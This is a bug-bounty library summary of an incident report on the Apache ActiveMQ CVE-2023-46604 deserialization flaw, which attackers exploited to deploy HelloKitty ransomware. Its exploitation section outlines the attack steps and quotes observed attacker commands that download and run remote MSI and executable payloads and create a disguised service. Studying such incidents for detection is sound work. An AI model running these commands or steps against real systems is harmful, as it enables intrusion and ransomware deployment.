# Critical Vuln: Apache ActiveMQ CVE-2023-46604 Exploited

Apache ActiveMQ OpenWire unmarshalling flaw lets attackers load a remote XML class config, achieving RCE; exploited to deploy HelloKitty ransomware and MSI payloads.

- Payout: Real-world hack
- Severity: critical
- Program: Apache ActiveMQ
- Credited: Huntress
- Disclosed: 2023-11-02
- CVE: CVE-2023-46604
- Write-up quality: 6/10
- Original: https://www.huntress.com/blog/critical-vulnerability-exploitation-of-apache-activemq-cve-2023-46604
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-critical-vulnerability-exploitation-of-apache-activemq-cve-2023-46604
- Tags: domain:infra impact:mass-exploit impact:rce kind:incident platform:threat-intel sev:critical tech:java technique:chained vuln:deserialization vuln:rce

**Target:** ActiveMQ OpenWire broker on port 61616
**Root cause:** OpenWire protocol unmarshals attacker-controlled class types, allowing instantiation of arbitrary classes that fetch and load a remote XML class configuration, leading to code execution.
**Steps:**
1. Connect to ActiveMQ OpenWire port `61616`
2. Send crafted OpenWire packet specifying an attacker-controlled class type
3. Host an XML class configuration file on attacker server
4. Victim server fetches XML and instantiates class invoking `ProcessBuilder`
5. Use Metasploit module to automate; verify with `echo worked > C:\Windows\Temp\worked.txt`
**How found:** Huntress agents deployed post-ransomware observed process lineage wrapper.exe -> java.exe -> cmd.exe, and MsiInstaller events for .png files that were actually MSI packages, confirming ActiveMQ exploitation as root cause.
**Exploitation:** Attacker sends crafted OpenWire packet to port 61616; victim server fetches attacker-hosted XML class config and executes commands via ProcessBuilder. Observed post-exploitation: `cmd.exe /c msiexec /q /i http://4.216.93[.]211:5981/RuntimeBroker.msi`, curl to `hxxp://27.102.128[.]152:8098/bit[.]ico`, certutil download of x86.exe, and service creation `sc create windowDefenSrv`. Led to HelloKitty ransomware.
**Escalation:** Chained RCE into MSI payload delivery, persistence via service creation, and ransomware deployment.
**Insight:** ActiveMQ wrapper.exe spawning java.exe then cmd.exe/msiexec/curl is a strong exploitation signal; also .png URLs in MsiInstaller events can be disguised MSI packages (exe2msiSetupPackage).